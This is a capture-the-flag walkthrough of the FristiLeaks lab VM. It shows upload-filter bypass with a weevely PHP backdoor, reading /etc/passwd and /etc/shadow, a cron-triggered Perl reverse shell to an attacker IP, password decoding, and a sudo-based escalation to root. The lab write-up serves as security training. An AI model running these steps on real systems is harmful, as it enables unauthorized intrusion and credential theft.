

FristiLeaks

warecrash



1. Netdiscover

```
Currently scanning: Finished! | Screen View: Unique Hosts

3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180

-----
IP            At MAC Address  Count  Len  MAC Vendor / Hostname
-----
192.168.136.1  00:50:56:c0:00:01  1      60  Unknown vendor
192.168.136.133 08:00:27:a5:a6:76  1      60  PCS Systemtechnik GmbH
192.168.136.254 00:50:56:e6:5f:cd  1      60  Unknown vendor
```

2. Nmap

```
root@kali:~# nmap -sV -O 192.168.136.133

Starting Nmap 7.60 ( https://nmap.org ) at 2018-02-14 20:10 PST
Nmap scan report for 192.168.136.133
Host is up (0.00083s latency).
Not shown: 999 filtered ports
PORT      STATE SERVICE VERSION
80/tcp    open  http      Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3)
MAC Address: 08:00:27:A5:A6:76 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10, Linux 2.6.32 - 3.13
Network Distance: 1 hop
```

That's it..?

3. Check out the website



What is this... and what is Fristi anyway?




This is Fristi. It's some weird drink available in the Netherlands and Belgium.


4. Nikto

```
root@kali:~# nikto -host 192.168.136.133
- Nikto v2.1.6
-----
+ Target IP:      192.168.136.133
+ Target Hostname: 192.168.136.133
+ Target Port:    80
+ Start Time:     2018-02-14 20:15:00 (GMT-8)
-----
+ Server: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3
+ Server leaks inodes via ETags, header found with file /, inode: 12722, size: 703, mtime: Tue Nov 17 10:45:47 2015
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Entry '/cola/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/sisi/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/beer/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ "robots.txt" contains 3 entries which should be manually viewed.
+ PHP/5.3.3 appears to be outdated (current is at least 5.6.9). PHP 5.5.25 and 5.4.41 are also current.
+ Apache/2.2.15 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3268: /images/: Directory indexing found.
+ OSVDB-3268: /images/?pattern=/etc/*&sort=name: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 8348 requests: 0 error(s) and 16 item(s) reported on remote host
+ End Time:      2018-02-14 20:15:22 (GMT-8) (22 seconds)
-----
+ 1 host(s) tested
```


Interesting URLs.



Not this one.



Or this one.



Or even this one. So there must be another url?

Messed around with a few different things. Dirb, Httrack, DNSRecon. No Luck.

Finally, I just decided to start thinking and tried a few urls. It ended up being the name of the VM:
`http://ip/fristi`.

Welcome to #fristileaks admin portal



Member Login

Username :

Password :

This was what I found.

```
<html>
<head>
<meta name="description" content="super leet password login-test page. We use base64 encoding for images so they are inline in the HTML. I read somewhere on the web, that thats a good way to do it.">
</--
TODO:
We need to clean this up for production. I left some junk in here to make testing easier.

- by eezeepz
-->
```

This was the source. Possible user named "eezeepz". Also mentions base64 inline and when I scrolled down I found this:

#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

This turned into an image when decoded online:

Decode from Base64 format

Simply use the form below

3K/U+z2uFJNWNcMmhLzUe2v6n/dAWG+mLN9KGWI9EcKsMJl6o6+ecH8dv0Uu4PnkqDI2rGuiS8HKul9iMrFG9gq/VTB8qORLuSTqF7fyU7tgsn/4+zfhV6aiilsczlGrGvGTllsLLhiPbnh6KnLDU12qmD+0cKQ8nunpVcZ21Rj7erEz0WqoZ+5lRW1oXNB3Z/vBMWulSfYlm+hDLkclAtuHEUzu/19l867X34rPtA6lmLi0ZrqX6gu37alukRkVaylRfqpk+9HNkH85hNocTKC4P31Vebhd8fy/VzOTCkqeBWlrrFheEPdMjO3SSys7XVF+qmT5UcmT9+Ss//fyyOLU3kWoGLd59ZKb6Us10lZMjAP5b5AgAL3lEgBc5AsCLHAHgRY4A8CJHAHlRlwC8yBEAXuQIAC9yBIAxOQLAixwB4EWOAPAIrWb4kSMAvMgRAF7kCAvvcgSAFzkCwlscAeBFjgDwlkcAeJEJALzIEQBc5AgAL3lEgBc5AsCLHAHgRY4A8Pn9/QNa7zik1qtycQAAAABJRU5ErkJagg==

< DECODE >

UTF-8

You may also select input charset.

This was the image:

keKkeKKeKKeKkEkkEk

I was able to log in with username eezeepz and password keKkeKKeKKeKkEkkEk

Login successful

[upload file](#)

Logging in gives me an upload function... weevly time.

Select image to upload:

Browse...

No file selected.

Upload Image

Made my file:

```
root@kali:~# weevly generate kek hack.php
Generated backdoor with password 'kek' in 'hack.php' of 1476 byte size.
root@kali:~#
```

I see now that I was wrong to think that this website could possibly be vulnerable. It is obviously very secure:

Sorry, is not a valid file. Only allowed are: png,jpg,gif
Sorry, file not uploaded

Renamed the file to hack.php.png and it works.

Uploading, please wait
The file has been uploaded to /uploads

Then I connected with weeveily:

```
root@kali:~# weeveily http://192.168.136.133/fristi/uploads/hack.php.png kek
[+] weeveily 3.2.0

[+] Target:      192.168.136.133
[+] Session:     /root/.weeveily/sessions/192.168.136.133/hack.php_0.session

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

weeveily> ls
hack.php.png
hack.png
index.html
localhost.localdomain:/var/www/html/fristi/uploads $
```

Can't read /etc/shadow, but I can see /etc/passwd.

```
localhost.localdomain:/ $ cat /etc/shadow
cat: /etc/shadow: Permission denied
localhost.localdomain:/ $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
saslauth:x:499:76:Saslauthd user:/var/empty/saslauth:/sbin/nologin
postfix:x:89:89:/:/var/spool/postfix:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
vboxadd:x:498:1:/:/var/run/vboxadd:/bin/false
eezeepz:x:500:500:/:/home/eezeepz:/bin/bash
admin:x:501:501:/:/home/admin:/bin/bash
fristigod:x:502:502:/:/var/fristigod:/bin/bash
fristix:x:503:100:/:/var/www:/sbin/nologin
localhost.localdomain:/ $
```


Looking through the directories, I found a file called "notes.txt" inside of the www directory:

```
localhost.localdomain:/var/www $ cat notes.txt
hey eezeepz your homedir is a mess, go clean it up, just dont delete
the important stuff.

-jerry
```

So next I went to said home directory and found another notes.txt:

```
Yo EZ,

I made it possible for you to do some automated checks,
but I did only allow you access to /usr/bin/* system binaries. I did
however copy a few extra often needed commands to my
homedir: chmod, df, cat, echo, ps, grep, egrep so you can use those
from /home/admin/

Don't forget to specify the full path for each binary!

Just put a file called "runthis" in /tmp/, each line one command. The
output goes to the file "cronresult" in /tmp/. It should
run every minute with my account privileges.

- Jerry
```

I'm not sure who Jerry is, but thanks Jerry.

I do have write access to /tmp so now I just need to put a reverse shell script in there.

First I tried to just put whoami in the file to see what user the job ran as. I got this though:

```
Command did not start with /home/admin or /usr/bin
```

So going back to the original message, it says that the script can only do certain things. Since I can run things in /usr/bin, I want to try running a webshell script. A quick google search told me that Kali already has a few webshells in /usr/share/webshells. I grabbed the Perl webshell and copied it to my desktop.

Quickly configured the file with my ip and a port:

```
$ip = '192.168.136.132';
$port = 1337;
```

Then I used python to host a quick server to grab the file from:

```
root@kali:~/Desktop# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
```

So I uploaded the file, renamed it to runthis, and started my listener:

```
root@kali:~/Desktop# nc -lvp 1337
listening on [any] 1337 ...
```

After waiting a couple minutes, I got nothing. Looking at the log file, I got the same error.

After a bit of trial and error, I ended up with the file referencing the original perl script and just putting /usr/bin/perl before it.

```
/usr/bin/perl /tmp/perl-reverse-shell.pl
```

This gives me access to an account called admin. This account still isn't root, so I still had work to do. I go into admin's home folder and found a few interesting files:

```
[admin@localhost ~]$ ls
ls
cat
chmod
cronjob.py
cryptedpass.txt
cryptpass.py
df
echo
egrep
grep
ps
whoisyourgodnow.txt
```

The two text files had strings of random text that I assumed were encrypted with the python file:

```
[admin@localhost ~]$ cat whoisyourgodnow.txt
cat whoisyourgodnow.txt
=RFn0AKnlMHMPizpyuTI0ITG
[admin@localhost ~]$ cat cryptedpass.txt
cat cryptedpass.txt
mVGZ303omkJLmy2pcuTq
```

```
cat cryptpass.py
#Enhanced with thanks to Dinesh Singh Sikawar @LinkedIn
import base64, codecs, sys

def encodeString(str):
    base64string= base64.b64encode(str)
    return codecs.encode(base64string[::-1], 'rot13')

cryptoResult=encodeString(sys.argv[1])
print cryptoResult
```

This looks pretty basic. As far as I can tell, it just does a base64 encode and then a rot13 encode. I just have to undo the encoding.

I ended up with this script after a bit of trial and error:

```
import base64, codecs, sys

password1 = "mVGZ3O3omkJLmy2pcuTq"
password2 = "=RFn0AKn1MHMP1zpyuTI0ITG"

def decode(code):
    key = codecs.decode((code)[::-1], 'rot13')
    return base64.b64decode(key)

answer1 = decode(password1)
answer2 = decode(password2)
print (answer1)
print (answer2)
```

Which produced the following output:

```
b'thisisalsopw123'
b'LetThereBeFristi!'
[Finished in 0.4s]
```

So I have two passwords: “thisisalsopw123” and “LetThereBeFristi!”. I tried these with each of my users from before. Using the list of users from before, I tried to su <username> but got an error “standard in must be a tty”. A google search revealed that this meant that I needed to spawn a shell with tty.

```
[admin@localhost ~]$ python -c 'import pty; pty.spawn("/bin/sh")'
```

Tried to use the login fristigod and thisisalsopw123 with no luck. LetThereBeFristi worked though!

This part really stumped me. Sadly, Fristigod wasn’t a root user and didn’t have any interesting files in its home directory. Finally, I went ahead and just did a find for any directories owned by the user (thanks bandit) and found these:

```
/var/fristigod
/var/fristigod/.bash_history
/var/fristigod/.secret_admin_stuff
```

The directory `.secret_admin_stuff` had one file in it called `doCom`. When I cat the file, I get this gibberish:

[illegible]

This looks like an executable, but what does it do? Fristigod also has a bash history file, so maybe that has some answers?

```

sudo -u fristi ./doCom ls /
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom ls /
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom ls /
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
exit
sudo /var/fristigod/.secret_admin_stuff/doCom
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
groups
ls -lah
usermod -G fristigod fristi
exit

```

So this is being used to run commands maybe? Let's try it.

```
bash-4.1$ ./doCom ls /  
./doCom ls /  
Nice try, but wrong user ;)
```

I did it again, right this time and finally got root... about time.

```
bash-4.1$ sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom whoami  
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom whoami  
[sudo] password for fristigod: LetThereBeFristi!  
root
```

I can finally see inside the root directory where I find this:

```
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom ls /root  
fristileaks_secrets.txt  
.  
..  
Congratulations on beating FristiLeaks 1.0 by Ar0xA [https://tldr.nu]  
I wonder if you beat it in the maximum 4 hours it's supposed to take!  
Shoutout to people of #fristileaks (twitter) and #vulnhub (FreeNode)  
Flag: Y0u_kn0w_y0u_l0ve_fr1st1
```

This was cool and all, but I want a root shell as well. I used wget to upload a new perl shell with the port 1338 and then ran it with the doCom executable:

```
bash-4.1$ sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom perl /tmp/two/perl-reverse-shell.pl  
<ar/fristigod/.secret_admin_stuff/doCom perl /tmp/two/perl-reverse-shell.pl  
Content-Length: 0  
Connection: close  
Content-Type: text/html  
bash-4.1$ Content-Length: 46  
Connection: close  
Content-Type: text/html  
Sent reverse shell to 192.168.136.132:1338<p>
```

```
apache-4.1# whoami  
whoami  
root
```